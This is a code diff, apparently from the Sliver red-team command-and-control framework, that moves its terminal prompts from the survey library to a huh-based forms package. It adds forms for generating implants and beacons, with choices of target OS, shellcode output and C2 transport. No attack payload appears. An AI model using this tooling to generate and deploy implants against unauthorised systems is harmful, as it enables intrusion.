"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -45,8 +45,7 @@ func IsUserAnAdult(con *console.SliverClient) bool {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("This action is bad OPSEC, are you an adult?", &confirm)
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -19,11 +19,13 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -39,6 +41,25 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
}
|
||||
|
||||
if shouldRunSettingsForm(cmd, con, args) {
|
||||
tableStyleOptions := make([]string, 0, len(tableStyles))
|
||||
for option := range tableStyles {
|
||||
tableStyleOptions = append(tableStyleOptions, option)
|
||||
}
|
||||
result, err := forms.SettingsForm(con.Settings, tableStyleOptions)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Settings form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
if err := applySettingsForm(con.Settings, result); err != nil {
|
||||
con.PrintErrorf("Failed to apply settings form values: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
|
||||
@@ -48,6 +69,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
tw.AppendRow(table.Row{"Vim Mode", con.Settings.VimMode, "Navigation mode, vim style"})
|
||||
tw.AppendRow(table.Row{"User Connect", con.Settings.UserConnect, "Show operator connect/disconnect events"})
|
||||
tw.AppendRow(table.Row{"Console Logs", con.Settings.ConsoleLogs, "Log console output to disk"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -91,8 +113,7 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
}
|
||||
}
|
||||
result := ""
|
||||
prompt := &survey.Input{Message: "Set small width:"}
|
||||
err = survey.AskOne(prompt, &result)
|
||||
err = forms.Input("Set small width:", &result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -126,11 +147,7 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
options = append(options, option)
|
||||
}
|
||||
style := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Choose a style:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &style)
|
||||
err = forms.Select("Choose a style:", options, &style)
|
||||
if err != nil {
|
||||
con.PrintErrorf("No selection\n")
|
||||
return
|
||||
@@ -173,3 +190,45 @@ func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.Settings.UserConnect = !con.Settings.UserConnect
|
||||
con.PrintInfof("User connect events = %v\n", con.Settings.UserConnect)
|
||||
}
|
||||
|
||||
func shouldRunSettingsForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
|
||||
if con == nil || con.IsCLI {
|
||||
return false
|
||||
}
|
||||
if len(args) != 0 {
|
||||
return false
|
||||
}
|
||||
if show, err := cmd.Flags().GetBool("show"); err == nil && show {
|
||||
return false
|
||||
}
|
||||
return cmd.Flags().NFlag() == 0
|
||||
}
|
||||
|
||||
func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFormResult) error {
|
||||
if settings == nil {
|
||||
return errors.New("settings are required")
|
||||
}
|
||||
if result == nil {
|
||||
return errors.New("settings form result is required")
|
||||
}
|
||||
if _, ok := tableStyles[result.TableStyle]; !ok {
|
||||
return errors.New("invalid table style")
|
||||
}
|
||||
width, err := strconv.Atoi(strings.TrimSpace(result.SmallTermWidth))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if width < 1 {
|
||||
return errors.New("small terminal width must be 1 or greater")
|
||||
}
|
||||
|
||||
settings.TableStyle = result.TableStyle
|
||||
settings.AutoAdult = result.AutoAdult
|
||||
settings.BeaconAutoResults = result.BeaconAutoResults
|
||||
settings.SmallTermWidth = width
|
||||
settings.AlwaysOverflow = result.AlwaysOverflow
|
||||
settings.VimMode = result.VimMode
|
||||
settings.UserConnect = result.UserConnect
|
||||
settings.ConsoleLogs = result.ConsoleLogs
|
||||
return nil
|
||||
}
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"golang.org/x/term"
|
||||
@@ -212,10 +212,7 @@ func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bo
|
||||
if 1 < len(pages) {
|
||||
if pageNumber+1 < len(pages) {
|
||||
nextPage := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)),
|
||||
}
|
||||
survey.AskOne(prompt, &nextPage)
|
||||
_ = forms.Confirm(fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)), &nextPage)
|
||||
if !nextPage {
|
||||
break
|
||||
}
|
||||
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// SocksStartCmd - Add a new tunneled port forward.
|
||||
@@ -56,8 +56,7 @@ func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
con.PrintWarnf("SOCKS proxy authentication credentials are tunneled to the implant\n")
|
||||
con.PrintWarnf("These credentials are recoverable from the implant's memory!\n\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you understand the implication?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Do you understand the implication?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -29,10 +29,10 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -214,12 +214,8 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.MultiSelect("Select sessions and beacons:", options, &selected)
|
||||
|
||||
if len(selected) == 0 {
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons selected 🤔")
|
||||
|
||||
@@ -24,7 +24,6 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
@@ -36,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -750,11 +750,7 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient
|
||||
saveTo = "Save to File ..."
|
||||
)
|
||||
action := saveTo
|
||||
prompt := &survey.Select{
|
||||
Message: "Choose an option:",
|
||||
Options: []string{dump, saveTo},
|
||||
}
|
||||
err := survey.AskOne(prompt, &action, survey.WithValidator(survey.Required))
|
||||
err := forms.SelectRequired("Choose an option:", []string{dump, saveTo}, &action)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -769,16 +765,14 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient
|
||||
|
||||
func promptSaveToFile(data []byte, con *console.SliverClient) {
|
||||
saveTo := ""
|
||||
saveToPrompt := &survey.Input{Message: "Save to: "}
|
||||
err := survey.AskOne(saveToPrompt, &saveTo)
|
||||
err := forms.Input("Save to:", &saveTo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(saveTo); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite existing file?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -9,8 +9,8 @@ import (
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
@@ -32,11 +32,7 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon task:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a beacon task:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -28,16 +28,15 @@ import (
|
||||
"net/url"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -57,14 +56,12 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Println()
|
||||
con.Println(console.Warn + "You're trying to update over an insecure connection, this is a really bad idea!")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Recklessly update?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
forms.Confirm("Recklessly update?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
confirm = false
|
||||
prompt = &survey.Confirm{Message: "Seriously?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
forms.Confirm("Seriously?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -115,9 +112,9 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("No new releases.\n")
|
||||
}
|
||||
now := time.Now()
|
||||
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
|
||||
lastCheck := fmt.Appendf(nil, "%d", now.Unix())
|
||||
appDir := assets.GetRootAppDir()
|
||||
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
|
||||
if err != nil {
|
||||
con.Printf("Failed to save update check time %s", err)
|
||||
@@ -231,10 +228,7 @@ func updateAvailable(con *console.SliverClient, client *http.Client, release *ve
|
||||
con.Println()
|
||||
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: "Download update?",
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
forms.Confirm("Download update?", &confirm)
|
||||
if confirm {
|
||||
con.Printf("Please wait ...")
|
||||
err := downloadAsset(client, serverAsset, saveTo)
|
||||
|
||||
@@ -27,12 +27,12 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -74,8 +74,7 @@ func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Sessio
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if err == nil {
|
||||
} else {
|
||||
for _, session := range sessions.Sessions {
|
||||
if strings.HasPrefix(session.ID, id) {
|
||||
return session, nil, nil
|
||||
@@ -162,12 +161,8 @@ func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clien
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a session or beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a session or beacon:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -130,8 +130,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
|
||||
|
||||
func confirmAddDirectory() bool {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Recursively add entire directory?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Recursively add entire directory?", &confirm)
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// ArmoryInstallOption represents an armory install option.
|
||||
type ArmoryInstallOption struct {
|
||||
Value string
|
||||
Label string
|
||||
}
|
||||
|
||||
// ArmoryInstallFormResult captures the selection from the armory install form.
|
||||
type ArmoryInstallFormResult struct {
|
||||
SelectedNames []string
|
||||
}
|
||||
|
||||
// ArmoryInstallForm prompts for armory packages or bundles to install.
|
||||
func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult, error) {
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("armory install options are required")
|
||||
}
|
||||
|
||||
selectOptions := make([]huh.Option[string], 0, len(options))
|
||||
for _, option := range options {
|
||||
if option.Value == "" {
|
||||
return nil, errors.New("armory install option value is required")
|
||||
}
|
||||
if option.Label == "" {
|
||||
return nil, errors.New("armory install option label is required")
|
||||
}
|
||||
selectOptions = append(selectOptions, huh.NewOption(option.Label, option.Value))
|
||||
}
|
||||
|
||||
result := &ArmoryInstallFormResult{}
|
||||
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title("Select packages or bundles to install").
|
||||
Description("Use space to select and enter to install.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
Value(&result.SelectedNames)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// ArmoryUpdateOption represents an update option in the armory update form.
|
||||
type ArmoryUpdateOption struct {
|
||||
ID string
|
||||
Label string
|
||||
}
|
||||
|
||||
// ArmoryUpdateFormResult captures the selection from the armory update form.
|
||||
type ArmoryUpdateFormResult struct {
|
||||
SelectedIDs []string
|
||||
}
|
||||
|
||||
// ArmoryUpdateForm prompts for armory updates to apply.
|
||||
func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, error) {
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("armory update options are required")
|
||||
}
|
||||
|
||||
selectOptions := make([]huh.Option[string], 0, len(options))
|
||||
for _, option := range options {
|
||||
if option.ID == "" {
|
||||
return nil, errors.New("armory update option id is required")
|
||||
}
|
||||
if option.Label == "" {
|
||||
return nil, errors.New("armory update option label is required")
|
||||
}
|
||||
selectOptions = append(selectOptions, huh.NewOption(option.Label, option.ID))
|
||||
}
|
||||
|
||||
result := &ArmoryUpdateFormResult{}
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title("Select updates to apply").
|
||||
Description("Use space to select and enter to apply.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
Value(&result.SelectedIDs)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -62,6 +62,7 @@ func GenerateForm() (*GenerateFormResult, error) {
|
||||
}
|
||||
}
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Arch),
|
||||
huh.NewSelect[string]().
|
||||
Title("Output format").
|
||||
@@ -78,6 +79,7 @@ func GenerateForm() (*GenerateFormResult, error) {
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Format),
|
||||
),
|
||||
huh.NewGroup(
|
||||
@@ -107,6 +109,7 @@ func GenerateForm() (*GenerateFormResult, error) {
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(6).
|
||||
Value(&result.C2Type),
|
||||
huh.NewInput().
|
||||
Title("C2 connection string(s)").
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// GenerateBeaconFormResult captures the inputs needed to drive the generate beacon command.
|
||||
type GenerateBeaconFormResult struct {
|
||||
OS string
|
||||
Arch string
|
||||
Format string
|
||||
Name string
|
||||
C2Type string
|
||||
C2Value string
|
||||
Save string
|
||||
Days string
|
||||
Hours string
|
||||
Minutes string
|
||||
Seconds string
|
||||
Jitter string
|
||||
}
|
||||
|
||||
// GenerateBeaconForm prompts for generate beacon flags and returns the collected values.
|
||||
func GenerateBeaconForm() (*GenerateBeaconFormResult, error) {
|
||||
result := &GenerateBeaconFormResult{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Format: "exe",
|
||||
C2Type: "mtls",
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewSelect[string]().
|
||||
Title("Target operating system").
|
||||
Options(
|
||||
huh.NewOption("Windows", "windows"),
|
||||
huh.NewOption("Linux", "linux"),
|
||||
huh.NewOption("macOS", "darwin"),
|
||||
).
|
||||
Value(&result.OS),
|
||||
huh.NewSelect[string]().
|
||||
Title("CPU architecture").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
switch result.OS {
|
||||
case "darwin":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
}
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
}
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Arch),
|
||||
huh.NewSelect[string]().
|
||||
Title("Output format").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("Executable", "exe"),
|
||||
huh.NewOption("Shared library", "shared"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Format),
|
||||
),
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Implant name (optional)").
|
||||
Value(&result.Name).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return nil
|
||||
}
|
||||
return util.AllowedName(strings.ToLower(value))
|
||||
}),
|
||||
huh.NewSelect[string]().
|
||||
Title("C2 transport").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("mTLS", "mtls"),
|
||||
huh.NewOption("WireGuard", "wg"),
|
||||
huh.NewOption("HTTP(S)", "http"),
|
||||
huh.NewOption("DNS", "dns"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Named pipe", "named-pipe"),
|
||||
huh.NewOption("TCP pivot", "tcp-pivot"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(6).
|
||||
Value(&result.C2Type),
|
||||
huh.NewInput().
|
||||
Title("C2 connection string(s)").
|
||||
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
|
||||
Value(&result.C2Value).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return errors.New("connection string required")
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
huh.NewInput().
|
||||
Title("Save path (optional)").
|
||||
Description("File or directory; defaults to the current directory").
|
||||
Value(&result.Save),
|
||||
),
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Beacon interval days (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Days).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval hours (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Hours).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval minutes (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Minutes).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval seconds (optional)").
|
||||
Description("Leave blank for default 60 seconds unless other units are set").
|
||||
Value(&result.Seconds).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon jitter seconds (optional)").
|
||||
Description("Leave blank for default 30 seconds").
|
||||
Value(&result.Jitter).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
),
|
||||
)
|
||||
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func validateOptionalNonNegativeInt(value string) error {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return nil
|
||||
}
|
||||
parsed, err := strconv.ParseInt(trimmed, 10, 64)
|
||||
if err != nil {
|
||||
return errors.New("must be a whole number")
|
||||
}
|
||||
if parsed < 0 {
|
||||
return errors.New("must be 0 or greater")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// GenerateProfilesNewFormResult captures the inputs needed to drive the profiles new command.
|
||||
type GenerateProfilesNewFormResult struct {
|
||||
ProfileName string
|
||||
OS string
|
||||
Arch string
|
||||
Format string
|
||||
Name string
|
||||
C2Type string
|
||||
C2Value string
|
||||
}
|
||||
|
||||
// GenerateProfilesNewForm prompts for profiles new flags and returns the collected values.
|
||||
func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
result := &GenerateProfilesNewFormResult{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Format: "exe",
|
||||
C2Type: "mtls",
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Profile name").
|
||||
Value(&result.ProfileName).
|
||||
Validate(func(value string) error {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return errors.New("profile name required")
|
||||
}
|
||||
return util.AllowedName(trimmed)
|
||||
}),
|
||||
huh.NewSelect[string]().
|
||||
Title("Target operating system").
|
||||
Options(
|
||||
huh.NewOption("Windows", "windows"),
|
||||
huh.NewOption("Linux", "linux"),
|
||||
huh.NewOption("macOS", "darwin"),
|
||||
).
|
||||
Value(&result.OS),
|
||||
huh.NewSelect[string]().
|
||||
Title("CPU architecture").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
switch result.OS {
|
||||
case "darwin":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
}
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
}
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Arch),
|
||||
huh.NewSelect[string]().
|
||||
Title("Output format").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("Executable", "exe"),
|
||||
huh.NewOption("Shared library", "shared"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Format),
|
||||
),
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Implant name (optional)").
|
||||
Value(&result.Name).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return nil
|
||||
}
|
||||
return util.AllowedName(strings.ToLower(value))
|
||||
}),
|
||||
huh.NewSelect[string]().
|
||||
Title("C2 transport").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("mTLS", "mtls"),
|
||||
huh.NewOption("WireGuard", "wg"),
|
||||
huh.NewOption("HTTP(S)", "http"),
|
||||
huh.NewOption("DNS", "dns"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Named pipe", "named-pipe"),
|
||||
huh.NewOption("TCP pivot", "tcp-pivot"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(6).
|
||||
Value(&result.C2Type),
|
||||
huh.NewInput().
|
||||
Title("C2 connection string(s)").
|
||||
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
|
||||
Value(&result.C2Value).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return errors.New("connection string required")
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
),
